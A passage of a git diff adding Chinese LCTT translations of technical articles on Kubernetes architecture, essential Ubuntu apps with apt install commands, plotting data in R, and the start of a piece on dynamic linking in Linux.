+控制器管理器还执行生命周期功能。例如命名空间创建和生命周期、事件垃圾收集、已终止容器组垃圾收集、[级联删除垃圾收集][7] 和节点垃圾收集。有关更多信息,参考 [云控制器管理器][8]。 + +#### 调度器 + +调度器是一个将容器组分配给节点的控制平面进程。它会监视新创建没有分配节点的容器组。调度器会给每个发现的容器组分配运行它的最佳节点。 + +满足容器组调度要求的节点称为可调度节点。如果没有合适的节点,那么容器组会一直处于未调度状态,直到调度器可以安置它。一旦找到可调度节点,它就会运行一组函数来对节点进行评分,并选择得分最高的节点,然后它会告诉 API 服务器所选节点的信息。这个过程称为绑定。 + +节点的选择分为两步: + + 1. 过滤所有节点的列表,获得可以调度容器组的节点列表(例如,PodFitsResources 过滤器检查候选节点是否有足够的可用资源来满足容器组的特定资源请求)。 + 2. 对第一步得到的节点列表进行评分和排序,选择最佳节点。如果得分最高的有多个节点,循环过程可确保容器组会均匀地部署在所有节点上。 + +调度决策要考虑的因素包括: + + * 容器组是否请求硬件/软件资源?节点是否报告内存或磁盘压力情况? + * 节点是否有与容器组规范中的节点选择器匹配的标签? + * 如果容器组请求绑定到特定地主机端口,该端口是否可用? + * 容器组是否容忍节点的污点? + * 容器组是否指定节点亲和性或反亲和性规则? + +调度器不会指示所选节点运行容器组。调度器所做的就是通过 API 服务器更新容器组定义。然后 API 服务器通过监控机制通知 kubelet 容器组已被调度,然后目标节点上的 kubelet 服务看到容器组被调度到它的节点,它创建并运行容器组。 + +### 工作节点组件 + +工作节点运行 kubelet 代理,这允许控制平面接纳它们来处理负载。与控制平面类似,工作节点使用几个不同的组件来实现这一点。 以下部分描述了工作节点组件。 + +#### Kubelet + +Kubelet 是一个运行在集群中每个节点上的代理,负责在工作节点上运行的所有事情。它确保容器在吊舱中运行。 + +kubelet服务的主要功能有: + + * 通过在 API 服务器中创建节点资源来注册它正在运行的节点。 + * 持续监控 API 服务器上调度到节点的容器组。 + * 使用配置的容器运行时启动容器组的容器。 + * 持续监控正在运行的容器,并将其状态、事件和资源消耗报告给 API 服务器。 + * 运行容器存活探测,在探测失败时重启容器,当 API 服务器中删除容器组时终止(通知服务器容器组终止的消息)。 + +#### 服务代理 + +服务代理(kube-proxy)在每个节点上运行,确保一个容器组可以与另一个容器组通讯,一个节点可以与另一个节点对话,一个容器可以与另一个容器对话。它负责监视 API 服务器对服务和容器组定义的更改,以保持整个网络配置是最新的。当一项服务得到多个容器组的支持时,代理会在这些容器组之间执行负载平衡。 + +kube-proxy 之所以叫代理,是因为它最初实际上是一个代理服务器,用于接受连接并将它们代理到容器组。当前的实现是使用 iptables 规则将数据包重定向到随机选择的后端容器组,而无需通过实际的代理服务器。 + +关于它工作原理的高级视图: + + * 当你创建一个服务时,会立即分配一个虚拟 IP 地址。 + * API 服务器会通知在工作节点上运行的 kube-proxy 代理有一个新服务。 + * 每个 kube-proxy 通过设置 iptables 规则使服务可寻址,确保截获每个服务 IP/端口对,并将目的地址修改为支持服务的一个容器组。 + * 监控 API 服务器对服务或其端点对象的更改。 + +#### 容器运行时 + +容器运行时有两类: + + * **较低级别的容器运行时:** 它们主要关注运行中的容器并为容器设置命名空间和控制组cgroup。 + * **更高级别的容器运行时(容器引擎):** 它们专注于格式、解包、管理、共享镜像以及为开发人员提供 API。 + +容器运行时负责: + + * 如果容器镜像本地不存在,则从镜像仓库中提取。 + * 将镜像解压到写时复制文件系统,所有容器层叠加创建一个合并的文件系统。 + * 准备一个容器挂载点。 + * 设置容器镜像的元数据,如覆盖命令、用户输入的入口命令,并设置 SECCOMP 规则,确保容器按预期运行。 + * 通知内核将进程、网络和文件系统等隔离分配给容器。 + * 通知内核分配一些资源限制,如 CPU 或内存限制。 + * 将系统调用(syscall)传递给内核启动容器。 + * 确保 SElinux/AppArmor 设置正确。 + +### 协同 + +系统级组件协同工作,确保 Kubernetes 集群的每个部分都能实现其目和执行其功能。当你深入编辑 [YAML 文件][10] 时,有时很难理解请求是如何在集群中通信的。现在你已经了解了各个部分是如何组合在一起的,你可以更好地理解 Kubernetes 内部发生了什么,这有助于诊断问题、维护健康的集群并优化你的工作流。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/kubernetes-architecture + +作者:[Nived Velayudhan][a] +选题:[lujun9972][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[turbokernel](https://github.com/turbokernel) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/nivedv +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/containers_modules_networking_hardware_parts.png?itok=rPpVj92- (Parts, modules, containers for software) +[2]: https://opensource.com/sites/default/files/uploads/kubernetes-architecture-diagram.png (Kubernetes architecture diagram) +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://www.geeksforgeeks.org/raft-consensus-algorithm/ +[5]: https://stackoverflow.com/questions/52910322/kubernetes-resource-versioning#:~:text=Optimistic%20concurrency%20control%20\(sometimes%20referred,updated%2C%20the%20version%20number%20increases. +[6]: https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/ +[7]: https://kubernetes.io/docs/concepts/architecture/garbage-collection/ +[8]: https://kubernetes.io/docs/concepts/architecture/cloud-controller/ +[9]: https://www.redhat.com/architect/how-kubernetes-creates-runs-containers +[10]: https://www.redhat.com/sysadmin/yaml-beginners diff --git a/published/202207/20220519 Top 10 Essential Ubuntu Apps For Everyone in 2022.md b/published/202207/20220519 Top 10 Essential Ubuntu Apps For Everyone in 2022.md new file mode 100644 index 0000000000..4b04331930 --- /dev/null +++ b/published/202207/20220519 Top 10 Essential Ubuntu Apps For Everyone in 2022.md @@ -0,0 +1,195 @@ +[#]: subject: "Top 10 Essential Ubuntu Apps For Everyone in 2022" +[#]: via: "https://www.debugpoint.com/2022/05/essential-ubuntu-apps-2022-part-1/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14794-1.html" + +10 大必备 Ubuntu 应用:基本篇 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/05/132504xx09az5i4ip0pel5.jpg) + +> 本文列出了 2022 年可以用于不同情况的 10 个 Ubuntu 基本应用。 + +不管你是偶尔使用的用户、学生、老师,还是科学家、开发人员和创意工作者,在工作上你需要各种各样的应用程序。Linux 生态系统有数以千计的应用程序,它们分散在各个角落,几乎可以满足各种需求。而包括 Ubuntu 在内的大多数主流 Linux 发行版,默认都只提供了基本的应用程序。 + +在这个五篇系列文章的第一篇中,我们列出了一些每个人都用的上的专门应用。 + +### 1、GNOME 优化工具 + +如果你在使用 Ubuntu GNOME 版,GNOME 优化工具GNOME Tweak Tool是你必备的实用工具。使用这个工具来定制你的桌面,你可以改变字体、缩放比例、主题、光标和许多其他选项。默认的设置窗口现在没有列出所有这些选项。 + +此外,你也能用该应用改变窗口装饰、标题栏、标题栏按钮以及开机启动项。 + +你可以使用应用商店搜索 “Tweaks” 来安装它,或者通过下列终端的命令来安装: + +``` +sudo apt install gnome-tweaks +``` + +![GNOME Tweaks Tool][2] + +### 2、Steam + +由于 Valve 公司和相关社区的贡献,在 Linux 上玩游戏不再困难。[Steam][3] 是 Valve 公司开发的电子游戏服务的前端平台,你可以通过 Steam 在 Ubuntu 上获取最新的游戏版本。此外,Steam 客户端提供反外挂监测、自动更新,和支持带有流媒体功能的社交对话。 + +如果你是一个 Linux 游戏玩家,Steam 是常用的客户端,你可以用下面的命令来安装。此外,你可以在应用商店中搜索 “Steam Installer” 并使用 [Flatpak][4] 或 [Snap][5] 进行安装。 + +``` +sudo apt install steam +``` + +![Steam Client][6] + +### 3、Peek + +在我看来,[Peek][7] 是一款被低估的应用。它是一个 GIF 动画录像机,对各种工作场景都非常有用。这是一款非常强大的应用程序,它适合在 Ubuntu 或任何 Linux 发行版中使用。此外,Peek 带有诸如录制区域选择、倒计时、GIF/MP4/WebM 支持等选项。它的后端使用的是 ffmpeg 。 + +在应用商店中搜索 “peek” 或者在命令行输入以下命令来安装这款优秀的应用。 + +``` +sudo apt install peek +``` + +![Peek][8] + +### 4、新立得 + +[新立得][9]Synaptic 是一款杰出的软件包管理器,可以帮助你以传统方式添加和移除软件包。有经验的 Linux 用户知道它的特性以及灵活性。你可以在各种库中搜索软件包、验证依赖性并进行安装。 + +如果你经常安装和卸载软件包,这是一个完美的应用程序。你可以通过以下命令或在应用商店中搜索 “synaptic” 来安装它。 + +``` +sudo apt install synaptic +``` + +![Synaptic Package Manager][10] + +### 5、GDebi + +正如上面提到的新立得,你也可以试试 [GDebi][11] 软件包安装程序,它带有几种功能。GDebi 软件包安装程序是用于安装外部 deb 文件的命令行实用程序。此外,GDebi 安装 .deb 包速度更快、效率更高,可以快速解决依赖关系并为你下载它们。 + +它是 Ubuntu 上安装 .deb 包最好的终端程序之一,你可以用以下命令安装它。安装后,你可以运行 `gdebi <你的 .deb 软件包路径>` 来安装任何软件包。 + +``` +sudo apt install gdebi +``` + +### 6、Geary + +不管从事什么工作,你需要一个 Ubuntu 桌面的本地 [邮箱客户端][12]。电子邮件对很多人来说仍然是有意义和有价值的。尽管 Ubuntu 默认带有最好的 Thunderbird 电子邮件客户端,但你也可以试试其它的电子邮件客户端应用,或许可以给你带来更好体验。 + +[Geary][13] 拥有友好而简洁的用户界面,能够让你更简单的设置多个邮件账号。此外, Geary 也带来了会话功能、更快的搜索、撰写富文本电子邮件以及其他功能,这使它成为 Linux 桌面的“首选”电子邮件客户端。 + +你可以使用如下命令或者在应用商店中搜索 “Geary” 来安装 Geary 。也可以通过 [Flatpak][14] 获得。 + +``` +sudo apt install geary +``` + +![Geary][15] + +### 7. 谷歌 Chrome 浏览器 + +虽然很多人担心隐私以及跟踪,但谷歌 Chrome 仍然是浏览器市场的领头者。Ubuntu 默认提供了 Firefox 浏览器,但随着近期火狐的 Snap 事件,你可能想换到其它浏览器。 + +如果你与谷歌生态系统密切相关,并希望在流媒体和浏览方面获得更好的网络体验,你可能会考虑使用谷歌 Chrome。但是,如果你担心隐私和跟踪,你可以选择其他一些浏览器,例如 Brave 或 Vivaldi。 + +你可以从下面链接中下载 .deb 包来安装谷歌 Chrome 安装器。安装后,你可以打开应用商店来安装它。 + +> **[下载谷歌 Chrome][16]** + +### 8、Kdenlive + +[Kdenlive][17] 是 Linux 上最好的自由开源的视频编辑器之一。 Kdenlive 设计良好的用户界面易于使用,并且带来了各种功能。使用 Kdenlive,你可以简单的导入视频片段,更改画布分辨率,并在编辑后导出为多种格式。时间线和工具让只需你单击一个按钮即可剪切和添加标题、转场和效果。此外,如果你是视频编辑新手,学习起来也非常容易。 + +Kdenlive 是一个非常活跃的项目,每个主要版本都会带有更多先进的功能。这是 2022 年必不可少的 Ubuntu 应用程序之一,如果你想与其它 [免费视频编辑器][18] 进行比较,你可以看看此列表。 + +使用以下命令安装 Kdenlive 很简单。除此,你可以用 [Flatpak][19] 或 [Snap][20] 版本来安装。 + +``` +sudo apt install kdenlive +``` + +![Kdenlive Video Editor][21] + +### 9. Spectacle + +你可能尝试过很多截屏应用。但在我看来,[Spectacle][22] 或许是最好的、也是被低估了的一款应用。Spectacle 是一款 KDE 应用程序,速度超快,非常适合需要截屏并使用的任何工作需求。你可以在自定义的延时后截取整个桌面、部分桌面或窗口。如果需要,窗口截屏还可以选择截取窗口装饰和光标。Spectacle 还为你提供了一个内置的注释功能,可以涂鸦、书写和标记你的图像。 + +此外,你还可以直接从其主窗口在 GIMP 或任何图像编辑器中打开图像,并将其导出。此外,自动保存、将截屏复制到剪贴板以及共享到社交媒体是 Spectacle 的一些独特功能。 + +在我看来,它是一个带有内置屏幕录像机的完整截图工具。 + +你可以用以下命令或者从 [Snap][23] 中安装 Spectacle。 + +``` +sudo apt install kde-spectacle +``` + +![Spectacle Screenshot tool][24] + +### 10. VLC 媒体播放器 + +Ubuntu Linux 的 GNOME 版默认带有可以播放视频文件的 GNOME 视频应用程序。但由于缺乏解码功能,GNOME 视频无法播放多种视频格式。这就是为什么你应该考虑一下 [VLC 媒体播放器][25] —— 它是 Linux 桌面上的“首选”媒体播放器。 + +VLC 确实可以播放任何格式。它甚至可以帮助你播放数据不完整的损坏视频文件。它是强大的媒体播放器之一,你可以使用下面的命令来安装。 + +此外,如果你偏向于另一种安装方式,你可以通过 [Flatpak][26] 或者 [Snap][27] 安装。 + +``` +sudo apt install vlc +``` + +![VLC Media Player][28] + +### 结语 + +2022 年必备的 Ubuntu 应用程序系列的第 1 部分到此结束。通过以上信息,我希望你可以选择一些应用供你的日常使用。在下面的评论框中告诉我你更喜欢此列表中的哪些应用程序。 + +最后,请继续关注本 Ubuntu 应用程序系列的第 2 部分。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/05/essential-ubuntu-apps-2022-part-1/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://gitlab.gnome.org/GNOME/gnome-tweaks +[2]: https://www.debugpoint.com/wp-content/uploads/2022/05/GNOME-Tweaks-Tool.jpg +[3]: https://store.steampowered.com/ +[4]: https://flathub.org/apps/details/com.valvesoftware.Steam +[5]: https://snapcraft.io/steam +[6]: https://www.debugpoint.com/wp-content/uploads/2022/05/Steam-Client.jpg +[7]: https://github.com/phw/peek +[8]: https://www.debugpoint.com/wp-content/uploads/2022/05/Peek-in-action2.jpg +[9]: https://www.nongnu.org/synaptic/ +[10]: https://www.debugpoint.com/wp-content/uploads/2022/05/Synaptic-Package-Manager.jpg +[11]: https://launchpad.net/gdebi +[12]: https://www.debugpoint.com/2019/06/best-email-client-linux-windows/ +[13]: https://wiki.gnome.org/Apps/Geary +[14]: https://flathub.org/apps/details/org.gnome.Geary +[15]: https://www.debugpoint.com/wp-content/uploads/2019/06/Geary.png +[16]: https://www.google.com/chrome +[17]: https://kdenlive.org/ +[18]: https://www.debugpoint.com/2019/09/best-free-video-editors-linux-ubuntu/ +[19]: https://flathub.org/apps/details/org.kde.kdenlive +[20]: https://snapcraft.io/kdenlive +[21]: https://www.debugpoint.com/wp-content/uploads/2021/01/Kdenlive-Video-Editor.jpg +[22]: https://apps.kde.org/spectacle/ +[23]: https://snapcraft.io/spectacle +[24]: https://www.debugpoint.com/wp-content/uploads/2022/05/Spectacle-Screenshot-tool.jpg +[25]: https://www.videolan.org/vlc +[26]: https://flathub.org/apps/details/org.videolan.VLC +[27]: https://snapcraft.io/vlc +[28]: https://www.debugpoint.com/wp-content/uploads/2022/05/VLC-Media-Player.jpg diff --git a/published/202207/20220527 Plotting Data in R- Graphs.md b/published/202207/20220527 Plotting Data in R- Graphs.md new file mode 100644 index 0000000000..f2877704fc --- /dev/null +++ b/published/202207/20220527 Plotting Data in R- Graphs.md @@ -0,0 +1,322 @@ +[#]: subject: "Plotting Data in R: Graphs" +[#]: via: "https://www.opensourceforu.com/2022/05/plotting-data-in-r-graphs/" +[#]: author: "Shakthi Kannan https://www.opensourceforu.com/author/shakthi-kannan/" +[#]: collector: "lkxed" +[#]: translator: "tanloong" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14830-1.html" + +R 语言绘制数据:图表篇 +====== + +R 语言有非常多的绘图和数据可视化的包,比如 `graphics`、`lattice`、`ggplot2` 等。这是 R 语言系列的第 9 篇文章,我们会介绍 R 中用来绘图的各种函数。 + +![](https://img.linux.net.cn/data/attachment/album/202207/15/155129rsfee22secwyii8w.jpg) + +本文使用的 R 是 4.1.2 版本,运行环境为 Parabola GNU/Linux-libre (x86-64)。 + +``` +$ R --version + +R version 4.1.2 (2021-11-01) -- "Bird Hippie" +Copyright (C) 2021 The R Foundation for Statistical Computing +Platform: x86_64-pc-linux-gnu (64-bit) +``` + +R 是自由软件,没有任何担保责任。只要遵守 GNU 通用公共许可证的版本 2 或者版本 3,你就可以对它进行(修改和)再分发。详情见 [https://www.gnu.org/licenses/](https://www.gnu.org/licenses/)。 + +### 折线图 + +我们以印度全境消费者物价指数(CPI -- 乡村/城市)数据集为研究对象,它可以从 [https://data.gov.in/catalog/all-india-consumer-price-index-ruralurban-0](https://data.gov.in/catalog/all-india-consumer-price-index-ruralurban-0) 下载。选择“截止到 2021 年 11 月” 的版本,用 `read.csv` 函数读取下载好的文件,如下所示: + +``` +> cpi <- read.csv(file="CPI.csv", sep=",") + +> head(cpi) +Sector Year Name Andhra.Pradesh Arunachal.Pradesh Assam Bihar +1 Rural 2011 January 104 NA 104 NA +2 Urban 2011 January 103 NA 103 NA +3 Rural+Urban 2011 January 103 NA 104 NA +4 Rural 2011 February 107 NA 105 NA +5 Urban 2011 February 106 NA 106 NA +6 Rural+Urban 2011 February 105 NA 105 NA +Chattisgarh Delhi Goa Gujarat Haryana Himachal.Pradesh Jharkhand Karnataka +1 105 NA 103 104 104 104 105 104 +2 104 NA 103 104 104 103 104 104 +3 104 NA 103 104 104 103 105 104 +4 107 NA 105 106 106 105 107 106 +5 106 NA 105 107 107 105 107 108 +6 105 NA 104 105 106 104 106 106 +... +``` + +以 Punjab 州为例,对每年各月份的 CPI 值求和,然后用 `plot` 函数画一张折线图: + +``` +> punjab <- aggregate(x=cpi$Punjab, by=list(cpi$Year), FUN=sum) + +> head(punjab) +Group.1 x +1 2011 3881.76 +2 2012 4183.30 +3 2013 4368.40 +4 2014 4455.50 +5 2015 4584.30 +6 2016 4715.80 + +> plot(punjab$Group.1, punjab$x, type="l", main="Punjab Consumer Price Index upto November 2021", xlab="Year", ylab="Consumer Price Index") +``` + +`plot` 函数可以传入如下参数: + +| 参数 | 描述 | +| :- | :- | +| `x` | 向量类型,用于绘制 x 轴的数据 | +| `y` | 向量或列表类型,用于绘制 y 轴的数据 | +| `type` | 设置绘图类型:`p` 画点;`l` 画线;`o` 同时画点和线,且相互重叠;`s` 画阶梯线;`h` 画铅垂线 | +| `xlim` | x 轴范围 | +| `ylim` | y 轴范围 | +| `main` | 标题 | +| `sub` | 副标题 | +| `xlab` | x 轴标题 | +| `ylab` | y 轴标题 | +| `axes` | 逻辑型,是否绘制坐标轴 | + +结果如图 1。 + +![Figure 1: Line chart][2] + +### 自相关图 + +自相关图能在时序分析中展示一个变量是否具有自相关性,可以用 R 中的 `acf` 函数绘制。`acf` 函数可以设置三种自相关类型:`correlation`、`covariance` 或 `partial`。图 2 是 Punjab 州 CPI 值的自相关图,x 表示 CPI。 + +``` +acf(punjab$x,main='x') +``` + +![Figure 2: ACF chart][3] + +`acf` 函数可以传入以下参数: + +| 参数 | 描述 | +| :- | :- | +| `x` | 一个单变量或多变量的时序对象,或者一个数值向量或数值矩阵 | +| `lag.max` | 最大滞后阶数 | +| `type` | 字符型,设置所计算的自相关类型:`correlation`、`covariance` 或 `partial` | +| `plot` | 逻辑性,若 `TRUE` 则绘制图像,若 `FALSE` 则打印传入数据的描述信息 | +| `i` | 一组要保留的时差滞后 | +| `j` | 一组要保留的名称或数字 | + +### 柱状图 + +R 中画柱状图的函数是 `barplot`。下面的代码用来画 Punjab 州 CPI 的柱状图,如图3: + +``` +> barplot(punjab$x, main="Punjab Consumer Price Index", sub="Upto November 2021", xlab="Year", ylab="Consumer Price Index", col="navy") +``` + +![Figure 3: Line chart of Punjab's CPI][4] + +`barplot` 函数的使用方法非常灵活,可以传入以下参数: + +| 参数 | 描述 | +| :- | :- | +| `height` | 数值向量或数值矩阵,包含用于绘图的数据 | +| `width` | 数值向量,用于设置柱宽 | +| `space` | 柱间距 | +| `beside` | 逻辑型,若 `FALSE` 则绘制堆积柱状图,若 `TRUE` 则绘制并列柱状图 | +| `density` | 数值型,设置阴影线的填充密度(条数/英寸),默认为 `NULL`,即不填充阴影线| +| `angle` | 数值型,填充线条的角度,默认为 45 | +| `border` | 柱形边缘的颜色 | +| `main` | 标题 | +| `sub` | 副标题 | +| `xlab` | x 轴标题 | +| `ylab` | y 轴标题 | +| `xlim` | x 轴范围 | +| `ylim` | y 轴范围 | +| `axes` | 逻辑型,是否绘制坐标轴 | + +用 `help` 命令可以查看 `barplot` 函数的详细信息: + +``` +> help(barplot) + +barplot package:graphics R Documentation + +Bar Plots + +Description: + + Creates a bar plot with vertical or horizontal bars. + +Usage: + + barplot(height, ...) + + ## Default S3 method: + barplot(height, width = 1, space = NULL, + names.arg = NULL, legend.text = NULL, beside = FALSE, + horiz = FALSE, density = NULL, angle = 45, + col = NULL, border = par("fg"), + main = NULL, sub = NULL, xlab = NULL, ylab = NULL, + xlim = NULL, ylim = NULL, xpd = TRUE, log = "", + axes = TRUE, axisnames = TRUE, + cex.axis = par("cex.axis"), cex.names = par("cex.axis"), + inside = TRUE, plot = TRUE, axis.lty = 0, offset = 0, + add = FALSE, ann = !add && par("ann"), args.legend = NULL, ...) + + ## S3 method for class 'formula' + barplot(formula, data, subset, na.action, + horiz = FALSE, xlab = NULL, ylab = NULL, ...) +``` + +### 饼图 + +绘制饼图时要多加注意,因为饼图不一定能展示出各扇形间的区别。(LCTT 译注:根据统计学家和一些心理学家的调查结果,这种以比例展示数据的统计图形 [实际上是很糟糕的可视化方式][10],因此,R 关于饼图的帮助文件中清楚地说明了并不推荐使用饼图,而是使用条形图或点图作为替代。) 用 `subset` 函数获得 Gujarat 州在 2021 年 1 月 Rural、Urban、Rurual+Urban 的 CPI 值: + +``` +> jan2021 <- subset(cpi, Name=="January" & Year=="2021") + +> jan2021$Gujarat +[1] 153.9 151.2 149.1 + +> names <- c('Rural', 'Urban', 'Rural+Urban') +``` + +使用 `pie` 函数为 Gujarat 州的 CPI 值生成饼图,如下所示: + +``` +> pie(jan2021$Gujarat, names, main="Gujarat CPI Rural and Urban Pie Chart") +``` + +![Figure 4: Pie chart][5] + +`pie` 函数可以传入以下参数: + +| 参数 | 描述 | +| :- | :- | +| `x | 元素大于 0 的数值向量 | +| `label` | 字符向量,用于设置每个扇形的标签 | +| `radius` | 饼图的半径 | +| `clockwise` | 逻辑型,若 `TRUE` 则顺时针绘图,若 `FALSE` 则逆时针绘图 | +| `density` | 数值型,设置阴影线的填充密度(条数/英寸),默认为 `NULL`,即不填充阴影线| +| `angle` | 数值型,填充线条的角度,默认为 45 | +| `col` | 数值向量,用于设置颜色 | +| `lty` | 每个扇形的线条类型 | +| `main` | 标题 | + +### 箱线图 + +(LCTT 译注:箱线图主要是 [从四分位数的角度出发][11] 描述数据的分布,它通过最大值(Q4)、上四分位数(Q3)、中位数(Q2)、下四分位数(Q1) 和最小值(Q0)五处位置来获取一维数据的分布概况。我们知道,这五处位置之间依次包含了四段数据,每段中数据量均为总数据量的 1/4。通过每一段数据占据的长度,我们可以大致推断出数据的集中或离散趋势。长度越短,说明数据在该区间上越密集,反之则稀疏。) + +箱线图能够用“须线whisker” 展示一个变量的四分位距Interquartile Range(简称 IQR=Q3-Q1)。用上下四分位数分别加/减内四分位距,再乘以一个人为设定的倍数 `range`(见下面的参数列表),得到 `range * c(Q1-IQR, Q3+IQR)`,超过这个范围的数据点就被视作离群点,在图中直接以点的形式表示出来。 + +`boxplot` 函数可以传入以下参数: + +| 参数 | 描述 | +| :- | :- | +| `data` | 数据框或列表,用于参数类型为公式的情况 | +| `x` | 数值向量或者列表,若为列表则对列表中每一个子对象依次作出箱线图 | +| `width` | 设置箱子的宽度 | +| `outline` | 逻辑型,设置是否绘制离群点 | +| `names` | 设置每个箱子的标签 | +| `border` | 设置每个箱子的边缘的颜色 | +| `range` | 延伸倍数,设置箱线图末端(须)延伸到什么位置 | +| `plot` | 逻辑型,设置是否生成图像,若 TRUE 则生成图像,若 FALSE 则打印传入数据的描述信息 | +| `horizontal` | 逻辑型,设置箱线图是否水平放置 | + +用 `boxplot` 函数绘制部分州的箱线图: + +``` +> names <- c ('Andaman and Nicobar', 'Lakshadweep', 'Delhi', 'Goa', 'Gujarat', 'Bihar') +> boxplot(cpi$Andaman.and.Nicobar, cpi$Lakshadweep, cpi$Delhi, cpi$Goa, cpi$Gujarat, cpi$Bihar, names=names) +``` + +![Figure 5: Box plot][6] + +### QQ 图 + +QQ 图Quantile-Quantile plot可以用来对比两个数据集,也可以用来检查数据是否服从某种理论分布。`qqnorm` 函数能绘制正态分布 QQ 图,可以检验数据是否服从正态分布,用下面的代码绘制 Punjab 州 CPI 数据的 QQ 图: + +``` +> qqnorm(punjab$x) +``` + +![Figure 6: Q-Q plot][7] + +`qqline` 函数可以向正态分布 QQ 图上添加理论分布曲线,它可以传入以下参数: + +| 参数 | 描述 | +| :- | :- | +| `x` | 第一个数据样本 | +| `y` | 第二个数据样本 | +| `datax` | 逻辑型,设置是否以 x 轴表示理论曲线的值,默认为 `FALSE` | +| `probs` | 长度为 2 的数值向量,代表概率 | +| `xlab` | x 轴标题 | +| `ylab` | y 轴标题 | +| `qtype` | `[1,9]` 内的整数,设置分位计算类型,详情见 `help(quantile)` 的类型小节 | + +### 等高图 + +等高图可以描述三维数据,在 R 中对应的函数是 `contour`,这个函数也可以用来向已有的图表添加等高线。等高图常与其他图表一起使用。我们用 `contour` 对 R 中的 `volcano` 数据集(奥克兰的火山地形信息)绘制等高图,代码如下: + +``` +> contour(volcano) +``` + +![Figure 7: Volcano][8] + +`contour` 函数的常用参数如下: + +| 参数 | 描述 | +| :- | :- | +| `x,y` | z 中数值对应的点在平面上的位置 | +| `z` | 数值向量 | +| `nlevels` | 设置等高线的条数,调整等高线的疏密 | +| `labels` | 等高线上的标记字符串,默认是高度的数值 | +| `xlim` | 设置 x 轴的范围 | +| `ylim` | 设置 y 轴的范围 | +| `zlim` | 设置 z 轴的范围 | +| `axes` | 设置是否绘制坐标轴 | +| `col` | 设置等高线的颜色 | +| `lty` | 设置线条的类型 | +| `lwd` | 设置线条的粗细 | +| `vfont` | 设置标签字体 | + +等高线之间的区域可以用颜色填充,每种颜色表示一个高度范围,如下所示: + +``` +> filled.contour(volcano, asp = 1) +# asp 为图形纵横比,即 y 轴上的 1 单位长度和 x 轴上 1 单位长度的比率 +``` +填充结果见图 8。 + +![Figure 8: Filled volcano][9] + +掌握上述内容后,你可以尝试 R 语言 `graphics` 包中的其他函数和图表(LCTT 译注:用 `help(package=graphics)` 可以查看 graphics 包提供的函数列表)。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/plotting-data-in-r-graphs/ + +作者:[Shakthi Kannan][a] +选题:[lkxed][b] +译者:[tanloong](https://github.com/tanloong) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/shakthi-kannan/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/business-man-visulising-graphs.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-1-Line-chart.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-2-ACF-chart.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-3-Line-chart-of-Punjabs-CPI.jpg +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-4-Pie-chart.jpg +[6]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-5-ox-plot.jpg +[7]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-6-Q-Q-plot.jpg +[8]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-7-Volcano.jpg +[9]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-8-Filled-volcano.jpg +[10]: https://bookdown.org/xiangyun/msg/gallery.html#sec:pie +[11]: https://bookdown.org/xiangyun/msg/gallery.html#sec:boxplot diff --git a/published/202207/20220531 How dynamic linking for modular libraries works on Linux.md b/published/202207/20220531 How dynamic linking for modular libraries works on Linux.md new file mode 100644 index 0000000000..a3fab8faa0 --- /dev/null +++ b/published/202207/20220531 How dynamic linking for modular libraries works on Linux.md @@ -0,0 +1,223 @@ +[#]: subject: "How dynamic linking for modular libraries works on Linux" +[#]: via: "https://opensource.com/article/22/5/dynamic-linking-modular-libraries-linux" +[#]: author: "Jayashree Huttanagoudar https://opensource.com/users/jayashree-huttanagoudar" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14813-1.html" + +如何在 Linux 上动态链接模块库 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/10/182540caie7ldrefflffah.jpg) + +> 学习如何用动态链接库将多个 C 目标文件结合到一个单个的可执行文件之中。 + +当使用 C 编程语言编写一个应用程序时,你的代码通常有多个源文件代码。 + +最终,这些文件必须被编译到一个单个的可执行文件之中。你可以通过创建静态或动态库(后者也被称为 共享shared 库)来实现这一点。这两种类型的库在创建和链接的方式上有所不同。两者都有缺点和优点,这取决于你的使用情况。 + +动态链接是最常见的方法,尤其是在 Linux 系统上。动态链接会保持库模块化,因此,很多应用程序可以共享一个库。应用程序的模块化也允许单独更新其依赖的共享库。 + +在这篇文章中,我将演示动态链接是如何工作的。在后期的文章中,我将演示静态链接。 + +### 链接器 + +链接器linker是一个命令,它将一个程序的数个部分结合在一起,并为它们重新组织内存分配。 + +链接器的功能包括: + +* 整合一个程序的所有的部分 +* 计算出一个新的内存组织结构,以便所有的部分组合在一起 +* 恢复内存地址,以便程序可以在新的内存组织结构下运行 +* 解析符号引用 + 